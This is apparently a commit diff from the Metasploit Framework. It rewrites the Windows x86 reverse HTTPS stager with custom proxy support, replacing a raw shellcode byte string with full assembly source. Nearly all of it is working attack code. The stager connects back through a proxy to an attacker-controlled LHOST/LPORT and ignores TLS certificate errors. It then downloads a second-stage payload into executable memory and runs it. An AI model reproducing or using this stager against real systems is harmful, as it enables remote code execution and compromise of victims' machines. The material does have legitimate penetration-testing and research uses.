33# Current source: https://github.com/rapid7/metasploit-framework
44##
55
6-
76module MetasploitModule
8-
97 CachedSize = 384
108
119 include Msf ::Payload ::Stager
1210 include Msf ::Payload ::Windows
11+ include Msf ::Payload ::Windows ::BlockApi
1312
1413 def initialize ( info = { } )
15- super ( merge_info ( info ,
16- 'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy' ,
17- 'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support' ,
18- 'Author' => [ 'hdm' , 'corelanc0d3r <peter.ve[at]corelan.be>' , 'amaloteaux' ] ,
19- 'License' => MSF_LICENSE ,
20- 'Platform' => 'win' ,
21- 'Arch' => ARCH_X86 ,
22- 'Handler' => Msf ::Handler ::ReverseHttpsProxy ,
23- 'Convention' => 'sockedi https' ,
24- 'Stager' =>
25- {
26- 'Payload' =>
27- "\xFC \xE8 \x82 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xC0 \x64 \x8B \x50 \x30 \x8B " +
28- "\x52 \x0C \x8B \x52 \x14 \x8B \x72 \x28 \x0F \xB7 \x4A \x26 \x31 \xFF \xAC \x3C " +
29- "\x61 \x7C \x02 \x2C \x20 \xC1 \xCF \x0D \x01 \xC7 \xE2 \xF2 \x52 \x57 \x8B \x52 " +
30- "\x10 \x8B \x4A \x3C \x8B \x4C \x11 \x78 \xE3 \x48 \x01 \xD1 \x51 \x8B \x59 \x20 " +
31- "\x01 \xD3 \x8B \x49 \x18 \xE3 \x3A \x49 \x8B \x34 \x8B \x01 \xD6 \x31 \xFF \xAC " +
32- "\xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF6 \x03 \x7D \xF8 \x3B \x7D \x24 \x75 " +
33- "\xE4 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B \x0C \x4B \x8B \x58 \x1C \x01 \xD3 " +
34- "\x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 \x5B \x5B \x61 \x59 \x5A \x51 \xFF " +
35- "\xE0 \x5F \x5F \x5A \x8B \x12 \xEB \x8D \x5D \x68 \x6E \x65 \x74 \x00 \x68 \x77 " +
36- "\x69 \x6E \x69 \x54 \x68 \x4C \x77 \x26 \x07 \xFF \xD5 \xE8 \x0F \x00 \x00 \x00 " +
37- "\x50 \x52 \x4F \x58 \x59 \x48 \x4F \x53 \x54 \x3A \x50 \x4F \x52 \x54 \x00 \x59 " +
38- "\x31 \xFF \x57 \x54 \x51 \x6A \x03 \x6A \x00 \x68 \x3A \x56 \x79 \xA7 \xFF \xD5 " +
39- "\xE9 \xC4 \x00 \x00 \x00 \x5B \x31 \xC9 \x51 \x51 \x6A \x03 \x51 \x51 \x68 \x5C " +
40- "\x11 \x00 \x00 \x53 \x50 \x68 \x57 \x89 \x9F \xC6 \xFF \xD5 \x89 \xC6 \x50 \x52 " +
41- "\x4F \x58 \x59 \x5F \x41 \x55 \x54 \x48 \x5F \x53 \x54 \x41 \x52 \x54 \xE8 \x0F " +
42- "\x00 \x00 \x00 \x50 \x52 \x4F \x58 \x59 \x5F \x55 \x53 \x45 \x52 \x4E \x41 \x4D " +
43- "\x45 \x00 \x59 \x6A \x0F \x51 \x6A \x2B \x56 \x68 \x75 \x46 \x9E \x86 \xFF \xD5 " +
44- "\xE8 \x0F \x00 \x00 \x00 \x50 \x52 \x4F \x58 \x59 \x5F \x50 \x41 \x53 \x53 \x57 " +
45- "\x4F \x52 \x44 \x00 \x59 \x6A \x0F \x51 \x6A \x2C \x56 \x68 \x75 \x46 \x9E \x86 " +
46- "\xFF \xD5 \x50 \x52 \x4F \x58 \x59 \x5F \x41 \x55 \x54 \x48 \x5F \x53 \x54 \x4F " +
47- "\x50 \xEB \x48 \x59 \x31 \xD2 \x52 \x68 \x00 \x32 \xA0 \x84 \x52 \x52 \x52 \x51 " +
48- "\x52 \x56 \x68 \xEB \x55 \x2E \x3B \xFF \xD5 \x89 \xC6 \x6A \x10 \x5B \x68 \x80 " +
49- "\x33 \x00 \x00 \x89 \xE0 \x6A \x04 \x50 \x6A \x1F \x56 \x68 \x75 \x46 \x9E \x86 " +
50- "\xFF \xD5 \x31 \xFF \x57 \x57 \x57 \x57 \x56 \x68 \x2D \x06 \x18 \x7B \xFF \xD5 " +
51- "\x85 \xC0 \x75 \x1A \x4B \x74 \x10 \xEB \xD5 \xEB \x49 \xE8 \xB3 \xFF \xFF \xFF " +
52- "\x2F \x31 \x32 \x33 \x34 \x35 \x00 \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 \x6A \x40 " +
53- "\x68 \x00 \x10 \x00 \x00 \x68 \x00 \x00 \x40 \x00 \x57 \x68 \x58 \xA4 \x53 \xE5 " +
54- "\xFF \xD5 \x93 \x53 \x53 \x89 \xE7 \x57 \x68 \x00 \x20 \x00 \x00 \x53 \x56 \x68 " +
55- "\x12 \x96 \x89 \xE2 \xFF \xD5 \x85 \xC0 \x74 \xCD \x8B \x07 \x01 \xC3 \x85 \xC0 " +
56- "\x75 \xE5 \x58 \xC3 \xE8 \xEC \xFE \xFF \xFF "
57- }
58- ) )
59-
60-
14+ super (
15+ merge_info (
16+ info ,
17+ 'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy' ,
18+ 'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support' ,
19+ 'Author' => [ 'hdm' , 'corelanc0d3r <peter.ve[at]corelan.be>' , 'amaloteaux' ] ,
20+ 'License' => MSF_LICENSE ,
21+ 'Platform' => 'win' ,
22+ 'Arch' => ARCH_X86 ,
23+ 'Handler' => Msf ::Handler ::ReverseHttpsProxy ,
24+ 'Convention' => 'sockedi https' ,
25+ 'Stager' => { 'Payload' => '' }
26+ )
27+ )
6128 end
6229
6330 #
@@ -71,82 +38,211 @@ def stage_over_connection?
7138 # Generate the first stage
7239 #
7340 def generate ( _opts = { } )
74- p = super
75-
76- i = p . index ( "/12345\x00 " )
77- u = "/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttpsProxy ::URI_CHECKSUM_INITW ) + "\x00 "
78- p [ i , u . length ] = u
79-
80- # patch proxy info
8141 proxyhost = datastore [ 'HttpProxyHost' ] . to_s
82- proxyport = datastore [ 'HttpProxyPort' ] . to_s || "8080"
83-
84- if Rex ::Socket . is_ipv6? ( proxyhost )
85- proxyhost = "[#{ proxyhost } ]"
86- end
42+ proxyhost = "[#{ proxyhost } ]" if Rex ::Socket . is_ipv6? ( proxyhost )
43+ proxyport = datastore [ 'HttpProxyPort' ] . to_s || '8080'
44+ proxyinfo = proxyhost
8745
88- proxyinfo = proxyhost + ":" + proxyport
89- if proxyport == "80"
90- proxyinfo = proxyhost
91- end
46+ proxyinfo = "#{ proxyhost } :#{ proxyport } " unless proxyport == '80'
47+ protocol = 'socks='
9248 if datastore [ 'HttpProxyType' ] . to_s == 'HTTP'
93- proxyinfo = 'http://' + proxyinfo
94- else #socks
95- proxyinfo = 'socks=' + proxyinfo
49+ protocol = 'http://'
9650 end
97-
98- proxyloc = p . index ( "PROXYHOST:PORT" )
99- p = p . gsub ( "PROXYHOST:PORT" , proxyinfo )
100-
101- # Patch the call
102- calloffset = proxyinfo . length + 1
103- p [ proxyloc -4 ] = [ calloffset ] . pack ( 'V' ) [ 0 ]
104-
105- # Authentication credentials have not been specified
106- if datastore [ 'HttpProxyUser' ] . to_s == '' ||
107- datastore [ 'HttpProxyPass' ] . to_s == '' ||
108- datastore [ 'HttpProxyType' ] . to_s == 'SOCKS'
109-
110- jmp_offset = p . index ( "PROXY_AUTH_STOP" ) + 15 - p . index ( "PROXY_AUTH_START" )
111-
112- # Remove the authentication code
113- p = p . gsub ( /PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i , "" )
114- else
115- username_size_diff = 14 - datastore [ 'HttpProxyUser' ] . to_s . length
116- password_size_diff = 14 - datastore [ 'HttpProxyPass' ] . to_s . length
117- jmp_offset =
118- 16 + # PROXY_AUTH_START length
119- 15 + # PROXY_AUTH_STOP length
120- username_size_diff + # Difference between datastore HttpProxyUser length and db "HttpProxyUser length"
121- password_size_diff # Same with HttpProxyPass
122-
123- # Patch call offset
124- username_loc = p . index ( "PROXY_USERNAME" )
125- p [ username_loc - 4 , 4 ] = [ 15 - username_size_diff ] . pack ( "V" )
126- password_loc = p . index ( "PROXY_PASSWORD" )
127- p [ password_loc - 4 , 4 ] = [ 15 - password_size_diff ] . pack ( "V" )
128-
129- # Remove markers & change login/password
130- p = p . gsub ( "PROXY_AUTH_START" , "" )
131- p = p . gsub ( "PROXY_AUTH_STOP" , "" )
132- p = p . gsub ( "PROXY_USERNAME" , datastore [ 'HttpProxyUser' ] . to_s )
133- p = p . gsub ( "PROXY_PASSWORD" , datastore [ 'HttpProxyPass' ] . to_s )
51+ proxyinfo = protocol + proxyinfo
52+
53+ proxy_auth_asm = ''
54+ unless datastore [ 'HttpProxyUser' ] . to_s == '' ||
55+ datastore [ 'HttpProxyPass' ] . to_s == '' ||
56+ datastore [ 'HttpProxyType' ] . to_s == 'SOCKS'
57+ proxy_auth_asm = %(
58+ call set_proxy_username
59+ proxy_username:
60+ db "#{ datastore [ 'HttpProxyUser' ] } ",0x00
61+ set_proxy_username:
62+ pop ecx ; Save the proxy username
63+ push dword 15 ; DWORD dwBufferLength
64+ push ecx ; LPVOID lpBuffer (username)
65+ push byte 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
66+ push esi ; hConnection
67+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
68+ call ebp
69+
70+ call set_proxy_password
71+ proxy_password:
72+ db "#{ datastore [ 'HttpProxyPass' ] } ",0x00
73+ set_proxy_password:
74+ pop ecx ; Save the proxy password
75+ push dword 15 ; DWORD dwBufferLength
76+ push ecx ; LPVOID lpBuffer (password)
77+ push byte 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
78+ push esi ; hConnection
79+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
80+ call ebp
81+ )
13482 end
13583
136- # Patch jmp dbl_get_server_host
137- jmphost_loc = p . index ( "\x68 \x3a \x56 \x79 \xa7 \xff \xd5 " ) + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
138- p [ jmphost_loc , 4 ] = [ p [ jmphost_loc , 4 ] . unpack ( "V" ) [ 0 ] - jmp_offset ] . pack ( "V" )
139-
140- # Patch call Internetopen
141- p [ p . length - 4 , 4 ] = [ p [ p . length - 4 , 4 ] . unpack ( "V" ) [ 0 ] + jmp_offset ] . pack ( "V" )
142-
143- # Patch the LPORT
144- lportloc = p . index ( "\x68 \x5c \x11 \x00 \x00 " ) # PUSH DWORD 4444
145- p [ lportloc +1 , 4 ] = [ datastore [ 'LPORT' ] . to_i ] . pack ( 'V' )
146-
147- # Append LHOST and return payload
148- p + datastore [ 'LHOST' ] . to_s + "\x00 "
149-
84+ payload = %(
85+ cld
86+ call start
87+ #{ asm_block_api }
88+ start:
89+ pop ebp
90+ load_wininet:
91+ push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
92+ push 0x696e6977 ; ...
93+ push esp ; Push a pointer to the "wininet" string on the stack.
94+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'LoadLibraryA' ) }
95+ call ebp ; LoadLibraryA( "wininet" )
96+ call internetopen
97+
98+ proxy_server_name:
99+ db "#{ proxyinfo } ",0x00
100+
101+ internetopen:
102+ pop ecx ; pointer to proxy_server_name
103+ xor edi,edi
104+ push edi ; DWORD dwFlags
105+ push esp ; LPCTSTR lpszProxyBypass (empty)
106+ push ecx ; LPCTSTR lpszProxyName
107+ push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
108+ push 0 ; NULL pointer
109+ ; push esp ; LPCTSTR lpszAgent ("\x00 ") // doesn't seem to work with this
110+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetOpenA' ) }
111+ call ebp
112+ jmp dbl_get_server_host
113+
114+ internetconnect:
115+ pop ebx ; Save the hostname pointer
116+ xor ecx, ecx
117+ push ecx ; DWORD_PTR dwContext (NULL)
118+ push ecx ; dwFlags
119+ push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
120+ push ecx ; password
121+ push ecx ; username
122+ push #{ datastore [ 'LPORT' ] } ; PORT
123+ push ebx ; HOSTNAME
124+ push eax ; HINTERNET hInternet
125+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetConnectA' ) }
126+ call ebp
127+
128+ mov esi,eax ; safe hConnection
129+ #{ proxy_auth_asm }
130+ jmp get_server_uri
131+
132+ httpopenrequest:
133+ pop ecx
134+ xor edx, edx ; NULL
135+ push edx ; dwContext (NULL)
136+ push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
137+ ;0x80000000 | ; INTERNET_FLAG_RELOAD
138+ ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
139+ ;0x00800000 | ; INTERNET_FLAG_SECURE
140+ ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
141+ ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
142+ ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
143+ ;0x00000200 ; INTERNET_FLAG_NO_UI
144+ push edx ; accept types
145+ push edx ; referrer
146+ push edx ; version
147+ push ecx ; url
148+ push edx ; method
149+ push esi ; hConnection
150+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpOpenRequestA' ) }
151+ call ebp
152+ mov esi, eax ; hHttpRequest
153+
154+ set_retry:
155+ push 0x10
156+ pop ebx
157+
158+ ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
159+ set_security_options:
160+ push 0x00003380
161+ ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
162+ ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
163+ ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
164+ ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
165+ ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
166+ mov eax, esp
167+ push 4 ; sizeof(dwFlags)
168+ push eax ; &dwFlags
169+ push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
170+ push esi ; hRequest
171+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) }
172+ call ebp
173+
174+ httpsendrequest:
175+ xor edi, edi
176+ push edi ; optional length
177+ push edi ; optional
178+ push edi ; dwHeadersLength
179+ push edi ; headers
180+ push esi ; hHttpRequest
181+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpSendRequestA' ) }
182+ call ebp
183+ test eax,eax
184+ jnz allocate_memory
185+
186+ try_it_again:
187+ dec ebx
188+ jz failure
189+ jmp set_security_options
190+
191+ dbl_get_server_host:
192+ jmp get_server_host
193+
194+ get_server_uri:
195+ call httpopenrequest
196+
197+ server_uri:
198+ db "/#{ generate_uri_checksum ( Msf ::Handler ::ReverseHttpsProxy ::URI_CHECKSUM_INITW ) } ", 0x00
199+
200+ failure:
201+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'ExitProcess' ) } ; hardcoded to exitprocess for size
202+ call ebp
203+
204+ allocate_memory:
205+ push 0x40 ; PAGE_EXECUTE_READWRITE
206+ push 0x1000 ; MEM_COMMIT
207+ push 0x00400000 ; Stage allocation (8Mb ought to do us)
208+ push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
209+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'VirtualAlloc' ) } ; hash( "kernel32.dll", "VirtualAlloc" )
210+ call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
211+
212+ download_prep:
213+ xchg eax, ebx ; place the allocated base address in ebx
214+ push ebx ; store a copy of the stage base address on the stack
215+ push ebx ; temporary storage for bytes read count
216+ mov edi, esp ; &bytesRead
217+
218+ download_more:
219+ push edi ; &bytesRead
220+ push 8192 ; read length
221+ push ebx ; buffer
222+ push esi ; hRequest
223+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetReadFile' ) }
224+ call ebp
225+
226+ test eax,eax ; download failed? (optional?)
227+ jz failure
228+
229+ mov eax, [edi]
230+ add ebx, eax ; buffer += bytes_received
231+
232+ test eax,eax ; optional?
233+ jnz download_more ; continue until it returns 0
234+ pop eax ; clear the temporary storage
235+
236+ execute_stage:
237+ ret ; dive into the stored stage address
238+
239+ get_server_host:
240+ call internetconnect
241+ server_host:
242+ db "#{ datastore [ 'LHOST' ] } ",0x00
243+ )
244+
245+ Metasm ::Shellcode . assemble ( Metasm ::X86 . new , payload ) . encode_string
150246 end
151247
152248 #
@@ -156,4 +252,3 @@ def wfs_delay
156252 20
157253 end
158254end
159-
0 commit comments